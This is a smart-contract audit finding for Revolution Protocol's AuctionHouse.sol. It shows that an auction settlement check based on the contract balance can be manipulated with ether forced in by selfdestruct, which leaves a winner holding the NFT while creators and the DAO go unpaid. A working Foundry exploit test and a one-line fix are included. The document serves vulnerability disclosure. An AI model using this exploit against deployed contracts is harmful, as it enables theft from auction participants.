Revolution Protocol - 0x175's results

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/AuctionHouse.sol#L348

Vulnerability details

Impact

The appropriate recipients (i.e. the DAO, creators and the auctioneer) will not receive any of their ether or ERC20 tokens, yet the malicious actor will receive the NFT. The ether paid for the NFT will be permanently locked in AuctionHouse.sol.

Proof of Concept

_settleAuction() in AuctionHouse.sol uses the balance of the contract to determine whether or not to execute certain logic, AuctionHouse.sol#L348:

if (address(this).balance < reservePrice) {

However the balance of the contract is manipulatable. A malicious actor can use a contract that utilises the selfdestruct opcode to push ether into AuctionHouse.sol and meet the reservePrice. The following if statement condition determines wether the fund distribution logic will be executed or not, AuctionHouse.sol#L363:

if (_auction.amount > 0) {

Although this condition will not be met because the auction was won by forcing ether into the contract which does not update the amount. Add the following test case to 2023-12-revolutionprotocol/packages/revolution/test/auction:

pragma solidity ^0.8.22;

import { AuctionHouseTest } from "./AuctionHouse.t.sol";

// Create the malicious contract
contract Malicious {
    function exploit(address target) external {
        selfdestruct(payable(target));
    }

    receive() external payable {}
}

/*
* Note that the following test demonstrates the outcome with the maximum impact.
* There are other ways to perform this exploit whereby the appropriate recipients
* receive some of the funds, but not all of them.
*/

contract Exploit is AuctionHouseTest, Malicious {
    function test_Exploit() public {
        createDefaultArtPiece();
        auction.unpause();
        vm.stopPrank();

        // Deploy the malicious contract
        Malicious malicious = new Malicious();

        // Fund the malicious contract
        vm.deal(address(malicious), 100 ether);

        // Make an address for Bob
        address bob = makeAddr("bob");

        // Initiate the reserve price for maximum impact
        vm.prank(auction.owner());
        auction.setReservePrice(0);
        
        // Bob creates a bid and becomes the highest bidder
        vm.prank(bob);
        auction.createBid{value: 0}(0, bob);

        // Update the reserve price
        vm.prank(auction.owner());
        auction.setReservePrice(100 ether);

        // Execute the exploit
        malicious.exploit(address(auction));
        
        // Settle the auction
        vm.warp(block.timestamp + auction.duration());
        auction.settleCurrentAndCreateNewAuction();

        // Bob received the NFT
        assertEq(erc721Token.balanceOf(bob), 1);

        // No ERC20 tokens were minted
        assertEq(erc20Token.totalSupply(), 0);

        // All of the ether is locked in the auction contract
        assertEq(address(auction).balance, 100 ether);
    }
}

pnpm run test --match-path test/auction/Exploit.t.sol

Tools Used

Manual review and Foundry.

Recommended Mitigation Steps

Use _auction.amount instead of address(this).balance, AuctionHouse.sol#L348:

-		if (address(this).balance < reservePrice) {
+		if (_auction.amount < reservePrice) {

Assessed type

Other